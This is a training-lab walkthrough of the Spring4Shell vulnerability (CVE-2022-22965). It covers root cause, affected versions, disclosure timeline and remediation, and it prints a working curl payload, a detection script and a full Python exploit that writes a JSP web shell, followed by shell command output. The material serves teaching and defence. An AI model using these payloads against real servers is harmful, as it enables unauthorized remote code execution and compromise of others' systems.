Resources
    Lab Walkthrough: Exploiti ...
    06 February 25

    Lab Walkthrough: Exploiting Spring4Shell (CVE-2022-22965) in Enterprise Environments

    Posted byINE
    facebooktwitterlinkedin
    news-featured

    In late March 2022, a vulnerability was discovered in Spring Framework that affected systems running on Java Development Kit (JDK) 9 or later versions.

    Spring4Shell (CVE-2022-22965) had a severe impact on applications built with Spring Framework, one of the most widely-used Java development frameworks.

    The root cause of this vulnerability emerged with Java 9's introduction of expanded access to the Class object's methods. Specifically, the exposed public method provided attackers with a path to access the JVM's class loader, enabling remote code execution (RCE) on vulnerable Spring applications.

    The transition to Java 9's architecture introduced a critical change: the expanded visibility of certain class loader operations created new attack vectors against Spring-based systems, allowing malicious actors to perform unauthorized operations through class loader manipulation.

    This critical vulnerability in the Spring Framework raised significant concerns throughout the cybersecurity community, as numerous enterprise systems utilizing Spring were potentially exposed. Following the public disclosure of the CVE, multiple proof-of-concept exploits became publicly available, making it relatively easy for attackers to target vulnerable systems.


    Why Is the Spring4Shell Vulnerability So Critical?

    Several factors contributed to Spring4Shell's significant impact on the cybersecurity landscape:

    Widespread Impact: The vulnerability affected Spring Framework, which powers a majority of enterprise-level Java applications. The critical nature of the vulnerability within such a widely-adopted framework put millions of production applications at risk of exploitation.

    Remote Code Execution (RCE) Capability: The vulnerability enabled attackers to execute arbitrary code on affected servers remotely. RCE vulnerabilities are considered among the most severe security issues because they grant attackers extensive control over compromised systems, potentially leading to full system compromise.

    Low Exploitation Complexity: Exploiting Spring4Shell required relatively simple steps. The availability of public exploit scripts and detailed technical advisories lowered the barrier to entry for potential attackers, making vulnerable systems easily targetable even by less sophisticated threat actors.

    Timing and Context: The discovery of Spring4Shell came shortly after the widely-publicized Log4Shell vulnerability (CVE-2021-44228) in the Log4j library. This timing heightened security concerns across the industry, as organizations were still recovering from Log4j remediation efforts. While the vulnerabilities were technically different, their similar naming and timing led to increased media attention and comparisons between the two critical Java ecosystem vulnerabilities.



    What is the Impact of Spring4Shell?

    spring4shell continental impact

    European organizations were the most heavily impacted, with the global average falling below at 16%.

    spring4shell impact across industries

    Software vendors, educational institutions, and financial services organizations were the most heavily impacted by Spring4Shell, with over 25% of organizations in these sectors affected - likely due to their extensive use of Java-based enterprise applications and Spring Framework in their technology stacks. The vulnerability's impact was notably widespread across all sectors, even reaching traditionally less technology-focused industries like hospitality and retail, demonstrating Spring Framework's pervasive use in modern business applications.

    Source: checkpoint.com

    Vulnerability Overview

    CVE-2022-22965 aka (Spring4Shell)

    Technical Impact Analysis

    The discovery and disclosure of this vulnerability was particularly problematic as it deviated from standard security practices. The vulnerability was leaked publicly before a CVE could be assigned or patches developed, leaving organizations exposed without official mitigation guidance.

    The technical root cause traced back to Java 9's architectural changes, specifically the exposure of previously restricted Class methods. This change enabled attackers to manipulate class loaders through crafted HTTP requests, potentially achieving remote code execution by exploiting Spring's data binding mechanism.

    While Spring Framework's data binding functionality was designed to deserialize external data into Java objects (a common requirement for web applications), the affected versions lacked proper access controls around this mechanism. This security gap, combined with Java 9's expanded Class method visibility, created a critical attack vector that left many organizations vulnerable until patches could be developed and deployed.

    Disclosure and Response Timeline

    Initial Discovery and Disclosure:

    • March 29, 2022: VMware (Spring Framework maintainer) received vulnerability notification from AntGroup FG researchers (codeplutos and meizjm3i)

    • March 30, 2022: Vulnerability details leaked publicly before patch development completion

    • March 31, 2022: Emergency patches released:

      • Spring Framework 5.3.18

      • Spring Framework 5.2.20

      • Related updates to Spring Boot and Tomcat

    Technical Details

    • CVE Identifier: CVE-2022-22965

    • CVSS Score: 9.8 (Critical)

    • Vulnerability Type: Remote Code Execution (RCE) via class loader exposure

    • Attack Vector: Spring MVC and Spring WebFlux applications deployed as WAR files on standalone Servlet containers

    Affected Components

    Spring Framework:

    • Vulnerable versions: 5.3.0 to 5.3.17 and 5.2.0 to 5.2.19

    • All versions prior to 5.2.0 also affected

    • Patched versions: 5.3.18 and 5.2.20

    Spring Boot:

    • Remediation versions: 2.6.6 and 2.5.12 (includes updated Spring Framework dependencies)

    Environment Requirements:

    • JDK: Version 9 or higher (JDK 8 and lower not affected)

    • Servlet Containers: Apache Tomcat versions up to:

      • 10.0.19

      • 9.0.61

      • 8.5.77

    Technical Details  

    Technical Deep Dive

    Vulnerability Root Cause Analysis

    The Spring4Shell vulnerability specifically affects Spring applications running on Java 9 and later versions. The critical change occurred in Java 9's architecture, where a new public method getModule() was added to the Class object's interface.

    Technical Vulnerability Chain:

    1. Java 9 Architectural Change:

      • The introduction of the getModule() method exposed new ways to interact with the JVM's class loader

      • Previous versions of Spring Framework had adequate protections against class loader manipulation in pre-Java 9 environments

    2. Exploitation Prerequisites:

      • Request parameters being bound to a Plain Old Java Object (POJO)

      • POJO lacking the @RequestBody annotation protection

      • Application running on Java 9+ with vulnerable Spring Framework versions

    3. Attack Vector Mechanics:

      • The class variable maintains a reference to the POJO that receives mapped HTTP parameters

      • Attackers can explicitly reference the class variable in their requests, gaining direct object access

      • Through property chaining, attackers can traverse object relationships to access other system objects

      • This property traversal capability enables potential remote code execution

    Key Components Leading to Exposure

    1. Data Binding in Spring:

      1. Automatically associating web request parameters to Java objects (POJOs).

      2. Utilizes DataBinder and BeanWrapperImpl classes to manage property access and manipulation

    2. Accessible Properties:

      1. Attackers can take advantage of Java's ability to access an object's class property (e.g., object.class).

      2. By utilizing carefully designed property paths, attacker can access sensitive properties like classLoader

    3. Manipulating the ClassLoader:

      1. By achieving the classLoader, troublemakers can change how classes load.

      2. This can result in arbitrary code running by injecting bad classes or assets.


    Required Conditions for Exploitation

    1. Java Version: The application must run on Java 9 or higher. The vulnerability exploits features introduced in Java 9.

    2. Data Binding Configuration:

      1. The application uses Spring MVC or Spring WebFlux.

      2. The application uses @RequestMapping-annotated controller methods (e.g., @RequestMapping, @PostMapping, @PutMapping).

      3. The methods accept at least one Plain Old Java Object (POJO) parameter without the @RequestBody annotation, triggering data binding from request parameters.

    3. Deployment Type:

      1. The application is deployed as a traditional WAR on an application server (e.g., Apache Tomcat).

      2. The PoC exploits primarily target applications running on Apache Tomcat.


    Exploitation Details

    Attack Vector

    An attacker sends a crafted HTTP POST request that manipulates the internal properties of the application to write a malicious file (e.g., a JSP web shell) to the server's file system.

    Exploit Steps

    1. Access the ClassLoader:

      1. Use property paths to access ClassLoader via class.module.classLoader.

    2. Reach Tomcat's Internal Components:

      1. Navigate to resources.context.parent.pipeline.first, which refers to Tomcat's AccessLogValve.

    3. Manipulate Valve Attributes:

      1. Modify attributes of the AccessLogValve to control logging behavior.

    4. Write Malicious Content to Disk:

      1. Set the pattern attribute to the content of the web shell.

      2. Configure directoryprefixsuffix, and fileDateFormat to control where and how the file is written.

    Example Malicious HTTP Request

    Curl Command:

    curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i%20if(\"j\".equals(request.getParameter(\"pwd\"))){%20java.io.InputStream%20in%20=%20%{c1}i.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();%20int%20a%20=%20-1;%20byte[]%20b%20=%20new%20byte[2048];%20while((a=in.read(b))!=-1){%20out.println(new%20String(b));%20}%20}%20%{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://target/endpoint

    Parameters Breakdown

    • class.module.classLoader.resources.context.parent.pipeline.first.pattern:

      • Sets the logging pattern to include attacker-controlled Java code (the web shell).

    • class.module.classLoader.resources.context.parent.pipeline.first.suffix:

      • Sets the file extension to .jsp.

    • class.module.classLoader.resources.context.parent.pipeline.first.directory:

      • Specifies the directory to write the file (e.g., webapps/ROOT).

    • class.module.classLoader.resources.context.parent.pipeline.first.prefix:

      • Sets the filename prefix (e.g., shell).

    • class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat:

      • Removes the date format to prevent timestamping.

    Result

    • A JSP file (e.g., shell.jsp) is written to the specified directory.

    • The attacker can access the web shell via http://target.com/shell.jsp

    • The web shell executes commands sent via HTTP parameters, providing RCE capabilities.

    Source: Rapid7

    Vulnerable Controller Example

    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RequestMapping;
    
    @Controller
    @RequestMapping("/vulnerable")
    public class VulnerableController {
    
        @PostMapping
        public String handleRequest(UserData data) {
            // Automatic data binding occurs here
            return "response";
        }
    }

    Why did this issue not happen with old Spring Core installations?

    The Spring Core code contains the following logic to prevent accessing child properties of the class variable. This logic is not foolproof:  

    Code:  

    if (Class.class == beanClass &&
        ("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))) {
            continue;
    }

    The code checks for "class.classLoader" and "class.protectionDomain", but the logic can be bypassed with the following selector: "class.module.classLoader"  

    Source: trendmicro.com



    Hands-On Lab

    Lab Link: https://my.ine.com/labs/7896c1a8-aae9-40f3-86db-200c617c92ce

    MyINE App

     

    This lab is a part of INE’s Vulnerabilities collection that is updated monthly.

    Vulnerability collection: https://my.ine.com/collections/bd6f07ba-b00e-4a43-afa5-6b2bdc3a25d8 

    In this lab, we will learn how an affected version of Tomcat (using JDK version 9) leads to remote code execution on the remote server, with all but a simple Python-based script.

    Read more: National Vulnerability Database

    Lab Environment

    In this lab environment, the user is going to get access to a Kali GUI instance. A vulnerable app is deployed on http://demo.ine.local. The web app is running Tomcat utilizing the JDK version 9, which is vulnerable to Spring4Shell vulnerability.

    Objective: 

    Exploit the Spring4Shell vulnerability to get code execution on the remote server.

    CVE-2022-22965 Lab Setup

    Tools

    The best tools for this lab are:

    • Dirb

    • Nmap

    • Python

    • A web browser

    Acknowledgement

    The base setup code, and the detection and exploitation scripts are taken from the following sources:


    Step 1: Open the lab link to access the Kali GUI instance.

    kali gui lab instance

    Step 2: Check open ports on the target machine (demo.ine.local).

    Command: nmap -sS -sV demo.ine.local

    nmap output for spring4shell vulnerable machine 1

    nmap output for spring4shell vulnerable machine 2

    Port 80 is open. A website is served on this port (as highlighted in the above image).

    Step 3: Locate interesting endpoints/pages in the provided website.

    We will be using dirb to look for any interesting pages on the provided website:

    Command: dirb http://demo.ine.local

    dirb output

    dirb was able to find two pages:

    Note: This step is not that relevant after all, but we have added it to show you a methodology of a pentester, that is, performing recon on the target and gaining valuable insights before jumping onto it and running random exploits against it.

    Step 4: Explore the identified web pages.  

    We know that there is some website being served over port 80. We also discovered two more endpoints using dirb. Let's see what these pages contain.  

    Open the following URL in the browser:  

    URL: http://demo.ine.local/  

    Vulnerable web app home page

    A web page is being served over it.

    Visit /login endpoint:  

    URL: http://demo.ine.local/login 

    Vulnerable web app login page

    The same web page is being served over /login.  

    Visit /error endpoint:  

    URL: http://demo.ine.local/error

    Vulnerable web app error page

    An error page is being served here. It must be shown after an invalid login.  

    Step 5: Visit an endpoint to trigger a backend error.  

    Visit the following URL (/%2f endpoint):  

    URL: http://demo.ine.local/%2f

    web app throwing a backend error

    Notice that an error was triggered, and we got back a 400 - Bad Request page from the Apache Tomcat server.  

    The version of Apache Tomcat is indicated on the error page: Apache Tomcat/9.0.59  

    Step 6: Identify the Java version used by Apache Tomcat version 9.0.59.  

    Browser Search Query: tomcat/9.0.59 java version

    Tomcat Version Search Results

    The response indicates that Java version 8 or later must be used by the target server.  

    Step 7: Detect the presence of Spring4Shell vulnerability.  

    Spring4Shell vulnerability is applicable for the deployments using JDK version 9 and newer.  

    The provided target server might be vulnerable, provided that it is running JDK version 9 or newer. To test for that, we will use the following Python script:  

    detect.py:  

    import requests
    import argparse
    from urllib.parse import urljoin
    
    requests.packages.urllib3.disable_warnings()
    
    def VersionCheck(url):
    	print(url + ':')
    	try:
    		check = requests.head(url,timeout=15,allow_redirects=False, verify=False)
    		if check.status_code == 200:
    			if "X-Powered-By" in check.headers:
    				if check.headers['X-Powered-By'] == 'ASP.NET':
    					print("Runs on ASP.NET")
    				if 'X-AspNet-Version' in check.headers:
    					print('Version: ' + check.headers['X-AspNet-Version'])
    			else:
    				print('Banner Grabbing did not work')
    		else:
    			print('Status code: ' + check.status_code)
    	except:
    		print('Exception')
    
    def Detect(url):
    	headers = {
    	"Content-Type": "application/x-www-form-urlencoded"
    	}
    	# data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7D%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7D.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7D&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    	data = "class.module.classLoader.URLs[0]=0"
    	try:
    		go = requests.post(url,data=data,timeout=15,allow_redirects=False, verify=False, headers=headers)
    		if go.status_code == 400:
    			print("Vulnerable!")
    		else:
    			print(url + ' : ')
    			print(go.status_code)
    	
    	except Exception as e:
    		print(e)
    		pass
    
    def main():
    	parser = argparse.ArgumentParser(description='Spring-Core Rce.')
    	parser.add_argument('--file',help='File containing Form Endpoints',required=False)
    	parser.add_argument('--url',help='target Form Endpoints',required=False)
    	args = parser.parse_args()
    	if args.url:
    		VersionCheck(args.url)
    		Detect(args.url)
    	if args.file:
    		with open (args.file) as f:
    			for i in f.readlines():
    				i = i.strip()
    				Detect(i)
    				VersionCheck(i)
    
    if __name__ == '__main__':
    	main()

    Reference: https://cybersecurityworks.com/blog/vulnerabilities/spring4shell-the-next-log4j.html   

    Save the above script as detect.py.  

    We will use the --url flag to pass the target URL:  

    Command:  python3 detect.py --url http://demo.ine.local

    Target vulnerability detection

    The detection script identified the target server deployment to be vulnerable to Spring4Shell.  

    Step 8: Exploit the Spring4Shell vulnerability.  

    Now that we have detected the vulnerability, we can exploit it using the following Python script:  

    exploit.py:

    # Author: @Rezn0k
    # Based off the work of p1n93r
    
    import requests
    import argparse
    from urllib.parse import urlparse
    import time
    
    #Set to bypass errors if the target site has SSL issues
    requests.packages.urllib3.disable_warnings()
    
    post_headers = {
    	"Content-Type": "application/x-www-form-urlencoded"
    }
    
    get_headers = {
    	"prefix": "<%",
    	"suffix": "%>//",
    	# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    	"c": "Runtime",
    }
    
    def run_exploit(url, directory, filename):
    
    
    	log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
    		   f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
    		   f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
    		   f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
    
    	log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    	log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    	log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    	log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    
    	exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
    
    
    	# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    	# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    	file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    	print("[*] Resetting Log Variables.")
    	ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    	print("[*] Response code: %d" % ret.status_code)
    
    	# Change the tomcat log location variables
    	print("[*] Modifying Log Configurations")
    	ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    	print("[*] Response code: %d" % ret.status_code)
    
    	# Changes take some time to populate on tomcat
    	time.sleep(3)
    
    	# Send the packet that writes the web shell
    	ret = requests.get(url, headers=get_headers, verify=False)
    	print("[*] Response Code: %d" % ret.status_code)
    
    	time.sleep(1)
    
    	# Reset the pattern to prevent future writes into the file
    	pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    	print("[*] Resetting Log Variables.")
    	ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    	print("[*] Response code: %d" % ret.status_code)
    
    
    def main():
    	parser = argparse.ArgumentParser(description='Spring Core RCE')
    	parser.add_argument('--url',help='target url', required=True)
    	parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    	parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
    						required=False, default="webapps/ROOT")
    
    	file_arg = parser.parse_args().file
    	dir_arg = parser.parse_args().dir
    	url_arg = parser.parse_args().url
    
    	filename = file_arg.replace(".jsp", "")
    
    	if url_arg is None:
    		print("Must pass an option for --url")
    		return
    
    	try:
    		run_exploit(url_arg, dir_arg, filename)
    		print("[+] Exploit completed")
    		print("[+] Check your target for a shell")
    		print("[+] File: " + filename + ".jsp")
    
    		if dir_arg:
    			location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
    		else:
    			location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
    		print(f"[+] Shell should be at: {location}?cmd=id")
    	except Exception as e:
    		print(e)
    
    
    if __name__ == '__main__':
    	main()

    Reference: https://github.com/reznok/Spring4Shell-POC/blob/master/exploit.py   

    Save the above script as exploit.py.  

    We will use the --url flag to pass the target URL:  

    Command: python3 exploit.py --url http://demo.ine.local

    Successful spring4shell exploitation

    Exploitation was successful, and a JSP webshell was uploaded to the target server.  

    Step 9: Leverage the uploaded webshell to run OS commands on the target server.  

    Open the following URL (reported by the exploit.py script):  

    URL: http://demo.ine.local/shell.jsp?cmd=id  

    Note: The above URL would run the id command. To run any other command, change the string passed in the cmd parameter.  

    Spring4Shell JSP Web Shell id Output

    Notice that the output for the id command is returned.  

    The target application was running as root, and therefore, the webshell is also running as root (uid = 0)!  

    We can perform enumeration on the target server and inspect the processes. Change the cmd parameter value and send the following command:  

    Command: ps aux

    Spring4Shell JSP Web Shell ps aux Output

    The command was executed successfully!  

    The output is not well-formed as the newlines are not rendered on the web page. But we can inspect the page source (press CTRL+U) and see the returned output:  

    Spring4Shell JSP Web Shell ps aux Output formatted

    Check the current working directory:  

    Command: pwd

    Spring4Shell JSP Web Shell pwd Output

    The current working directory is /usr/local/tomcat/.  

    Mitigation Strategies

    1. Primary Remediation:

      • Upgrade Spring Framework to secure versions:

        • Version 5.3.18 or higher

        • Version 5.2.20 or higher

    2. Alternative Mitigation:

      • If immediate Spring Framework upgrade isn't feasible, upgrade Apache Tomcat to:

        • Version 10.0.20 or higher

        • Version 9.0.62 or higher

        • Version 8.5.78 or higher

    3. Configuration-based Protection:

      • Implement data binding restrictions using the disallowedFields property in Spring configuration

    Conclusion:

    VThe Spring4Shell vulnerability highlights the cascading impact of security flaws in widely-adopted frameworks within the Java ecosystem. While the initial disclosure was premature, the Spring Framework team's rapid response demonstrated effective security incident handling:

    1. Quick development and deployment of patches

    2. Clear technical documentation of mitigation strategies

    3. Collaboration with related projects (Apache Tomcat) for comprehensive fixes

    This incident reinforces critical security practices:

    • Maintaining current security patches

    • Implementing defense-in-depth strategies

    • Regular security assessments of application dependencies

    • Having incident response procedures ready for zero-day vulnerabilities

    The Spring4Shell vulnerability serves as a reminder that even well-established frameworks can contain critical security flaws, emphasizing the importance of continuous security monitoring and rapid patch management in modern application security.


    References:

    Try this exploit for yourself! With an INE Subscription access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    © 2024 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo